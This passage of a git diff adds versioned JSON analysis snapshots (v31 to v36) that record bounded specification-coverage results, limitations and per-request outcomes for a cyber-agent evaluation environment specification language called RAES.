"raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v20.json", + "docs/research/specification-coverage/analysis-v20.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-17", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem. Replay on the integrated source state retains those classifications and claim limits; listener endpoint completeness, backend admission, realized participant relationships, authoring-adapter transport behavior, and native backend scope enforcement are not evaluated by this protocol. This replay also binds the operational recovery-observation implementation without treating it as EXP-715 experiment observation or a crash-recovery result.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1179-v30", + "snapshot_sha256": "14a0f644c58c1b120bb87a60301d5b0c18154219e50de5bd7ddbb71730abc06f" +} diff --git a/docs/research/specification-coverage/analysis-v31.json b/docs/research/specification-coverage/analysis-v31.json new file mode 100644 index 000000000..3e40067c1 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v31.json @@ -0,0 +1,93 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1183-v31", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v20.json", + "docs/research/specification-coverage/analysis-v20.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-18", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem. Replay on the integrated source state retains those classifications and claim limits; listener endpoint completeness, backend admission, realized participant relationships, authoring-adapter transport behavior, and native backend scope enforcement are not evaluated by this protocol. This replay also binds the operational recovery-observation implementation without treating it as EXP-715 experiment observation or a crash-recovery result. This replay binds the CP-5 source changes without treating the retained language artifacts as evidence of process leasing, SQLite ownership, or lifecycle drain ordering.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1183-v31", + "snapshot_sha256": "cd13372b6634bf10ef3cf2991e532d0b2b2121590a5e49961ef03048e93ecc57" +} diff --git a/docs/research/specification-coverage/analysis-v32.json b/docs/research/specification-coverage/analysis-v32.json new file mode 100644 index 000000000..616650101 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v32.json @@ -0,0 +1,94 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1015-v32", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v20.json", + "docs/research/specification-coverage/analysis-v20.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-18", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem. Replay on the integrated source state retains those classifications and claim limits; listener endpoint completeness, backend admission, realized participant relationships, authoring-adapter transport behavior, and native backend scope enforcement are not evaluated by this protocol. This replay also binds the operational recovery-observation implementation without treating it as EXP-715 experiment observation or a crash-recovery result. This replay binds the CP-5 source changes without treating the retained language artifacts as evidence of process leasing, SQLite ownership, or lifecycle drain ordering. This replay binds the issue #1015 admitted-plan and compiler source changes without treating the retained language artifacts as evidence of live mixed-runtime execution, phase coordination, or backend equivalence.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1015-v32", + "snapshot_sha256": "f7fa04f02d903a7b3d75b6a365c923370e36b641a9923a4dc98534bfdcb63a2a" +} diff --git a/docs/research/specification-coverage/analysis-v33.json b/docs/research/specification-coverage/analysis-v33.json new file mode 100644 index 000000000..722bd63e1 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v33.json @@ -0,0 +1,95 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1186-v33", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v20.json", + "docs/research/specification-coverage/analysis-v20.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-18", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem. Replay on the integrated source state retains those classifications and claim limits; listener endpoint completeness, backend admission, realized participant relationships, authoring-adapter transport behavior, and native backend scope enforcement are not evaluated by this protocol. This replay also binds the operational recovery-observation implementation without treating it as EXP-715 experiment observation or a crash-recovery result. This replay binds the CP-5 source changes without treating the retained language artifacts as evidence of process leasing, SQLite ownership, or lifecycle drain ordering. This replay binds the issue #1015 admitted-plan and compiler source changes without treating the retained language artifacts as evidence of live mixed-runtime execution, phase coordination, or backend equivalence. This replay binds issue #1186 runtime maintenance, health, and audit source without claiming that the retained language corpus executes those operator paths.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1186-v33", + "snapshot_sha256": "cef2f9566013ad6af8b5cd2973b6e4261c97ccd4e9dc4d63d89edeff3b51be22" +} diff --git a/docs/research/specification-coverage/analysis-v34.json b/docs/research/specification-coverage/analysis-v34.json new file mode 100644 index 000000000..2fe6ee161 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v34.json @@ -0,0 +1,96 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1187-v34", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v20.json", + "docs/research/specification-coverage/analysis-v20.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-20", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem. Replay on the integrated source state retains those classifications and claim limits; listener endpoint completeness, backend admission, realized participant relationships, authoring-adapter transport behavior, and native backend scope enforcement are not evaluated by this protocol. This replay also binds the operational recovery-observation implementation without treating it as EXP-715 experiment observation or a crash-recovery result. This replay binds the CP-5 source changes without treating the retained language artifacts as evidence of process leasing, SQLite ownership, or lifecycle drain ordering. This replay binds the issue #1015 admitted-plan and compiler source changes without treating the retained language artifacts as evidence of live mixed-runtime execution, phase coordination, or backend equivalence. This replay binds issue #1186 runtime maintenance, health, and audit source without claiming that the retained language corpus executes those operator paths. This replay binds issue #1187 source changes without treating the retained language corpus as crash/profile conformance evidence.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1187-v34", + "snapshot_sha256": "adc516ed835201a29100e614d67623c4251b75b5735864a4d90a2538e4723cb4" +} diff --git a/docs/research/specification-coverage/analysis-v35.json b/docs/research/specification-coverage/analysis-v35.json new file mode 100644 index 000000000..e002e7ac4 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v35.json @@ -0,0 +1,97 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1189-v35", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v20.json", + "docs/research/specification-coverage/analysis-v20.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-20", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem. Replay on the integrated source state retains those classifications and claim limits; listener endpoint completeness, backend admission, realized participant relationships, authoring-adapter transport behavior, and native backend scope enforcement are not evaluated by this protocol. This replay also binds the operational recovery-observation implementation without treating it as EXP-715 experiment observation or a crash-recovery result. This replay binds the CP-5 source changes without treating the retained language artifacts as evidence of process leasing, SQLite ownership, or lifecycle drain ordering. This replay binds the issue #1015 admitted-plan and compiler source changes without treating the retained language artifacts as evidence of live mixed-runtime execution, phase coordination, or backend equivalence. This replay binds issue #1186 runtime maintenance, health, and audit source without claiming that the retained language corpus executes those operator paths. This replay binds issue #1187 source changes without treating the retained language corpus as crash/profile conformance evidence. This replay binds issue #1189 source changes without treating the retained language corpus as evidence of control-plane profile guarantees.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyborg-participant-evaluation", + "status": "partial" + }, + { + "concept_count": 3, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "vsdl-configurable-infrastructure", + "status": "partial" + }, + { + "concept_count": 2, + "failed_stage_count": 1, + "missing_count": 1, + "request_id": "cyber-dem-federation", + "status": "partial" + } + ], + "snapshot_id": "raes-standardized-specification-coverage-issue-1189-v35", + "snapshot_sha256": "fe4917ae052ad16ae8f087a0e03fe21cb14f767a1b8033f706dd23fde48ecd93" +} diff --git a/docs/research/specification-coverage/analysis-v36.json b/docs/research/specification-coverage/analysis-v36.json new file mode 100644 index 000000000..ff17fc695 --- /dev/null +++ b/docs/research/specification-coverage/analysis-v36.json @@ -0,0 +1,98 @@ +{ + "analysis_id": "raes-standardized-specification-coverage-issue-1072-v36", + "backend_leakage": [], + "claim": { + "allowed_evidence": [ + "pinned source metadata and bounded paraphrases", + "production parser, semantic, instantiation, admission, compiler, contract, and profile results", + "exact artifact digests and typed pointers", + "documented missing-concept and backend-specific dispositions" + ], + "claim_id": "raes-standardized-configurable-specification-coverage", + "disallowed_evidence": [ + "field-count or schema breadth alone", + "the existing scenario stress corpus as the representative request corpus", + "free-form metadata as typed coverage", + "backend-private interpretation", + "post-hoc removal or repair of falsifying concepts" + ], + "evidence_artifacts": [ + "docs/research/specification-coverage/protocol-v1.json", + "docs/research/specification-coverage/execution-snapshot-v20.json", + "docs/research/specification-coverage/analysis-v20.json" + ], + "falsification_protocol": "docs/research/specification-coverage/protocol-v1.json", + "objective_fail_criteria": "A load-bearing concept is missing or lossy, an applicable stage fails, or backend vocabulary is required in core SDL while the result claims success.", + "objective_pass_criteria": "Every load-bearing concept passes at every owning stage, backend-specific mechanics stay outside core SDL, and no requested concept is silently lost.", + "statement": "RAES provides a standardized configurable portable specification surface for the preregistered representative cyber-agent evaluation environment requirements without backend vocabulary in core SDL.", + "threats_to_validity": [ + "The representative corpus contains four source strata and sixteen atomic concepts rather than every cyber-range requirement.", + "The reference processor and repository fixtures are not independent backend implementations.", + "No live range, simulator federation, or participant execution was part of this offline specification-coverage test." + ] + }, + "classification_counts": { + "deliberately-backend-specific": 1, + "directly-expressible": 10, + "missing": 3, + "profile-or-manifest-constraint": 2 + }, + "evidence_status": "partial", + "execution_status": "complete", + "generated_at": "2026-09-20", + "limitations": [ + "This result demonstrates bounded specification coverage, not universal cyber-range coverage, usability, adoption, backend substitution, or behavioral equivalence.", + "The three missing concepts are evidence, not implementation tasks within this snapshot.", + "The retained protocol does not test recursive realization or plan-level profile semantics; this release only re-establishes its original bounded coverage result against the current implementation.", + "The retained protocol does not test evidence-requirement refinement lineage; the dedicated EXP-731 regression suite covers that production boundary.", + "Authoring-adapter transport behavior is outside this retained protocol.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "Operational recovery observation and startup reconciliation are covered by their API-404 regression suite, not a new claim in this preregistered matrix.", + "Store ownership, immutable runtime scope, and provider shutdown ordering are covered by the API-404 CP-5 regression suite, not by this retained specification-coverage protocol.", + "Mixed/staged trial compilation and admission are covered by issue #1015 regression tests, not by this retained specification-coverage corpus; no live mixed-runtime result is claimed.", + "Issue #1186 control-plane recovery operations are covered by their runtime regression suite, not by this retained specification-coverage corpus.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1072 participant-control contracts are covered by their dedicated API-424 regression tests. This retained language replay does not execute providers or establish runtime effect realization." + ], + "load_bearing_results": { + "failed": 0, + "missing": 0, + "passed": 10, + "total": 10 + }, + "plain_language_outcome": "RAES preserved every issue-defined load-bearing concept through its tested typed stages without requiring backend fields in core SDL. The broader claim remains partial: the three preregistered missing-carrier slots were not run, which does not establish that those capabilities are absent from the current ecosystem. Replay on the integrated source state retains those classifications and claim limits; listener endpoint completeness, backend admission, realized participant relationships, authoring-adapter transport behavior, and native backend scope enforcement are not evaluated by this protocol. This replay also binds the operational recovery-observation implementation without treating it as EXP-715 experiment observation or a crash-recovery result. This replay binds the CP-5 source changes without treating the retained language artifacts as evidence of process leasing, SQLite ownership, or lifecycle drain ordering. This replay binds the issue #1015 admitted-plan and compiler source changes without treating the retained language artifacts as evidence of live mixed-runtime execution, phase coordination, or backend equivalence. This replay binds issue #1186 runtime maintenance, health, and audit source without claiming that the retained language corpus executes those operator paths. This replay binds issue #1187 source changes without treating the retained language corpus as crash/profile conformance evidence. This replay binds issue #1189 source changes without treating the retained language corpus as evidence of control-plane profile guarantees. This replay binds issue #1072 contract source without adding provider-execution or effect-realization claims.", + "protocol_revision": "1.0.0", + "request_results": [ + { + "concept_count": 6, + "failed_stage_count": 0, + "missing_count": 0, + "request_id": "survey-representative-range", + "status": "demonstrated" + }, + { + "concept_count": 5, + "failed_stage_count": 1, + 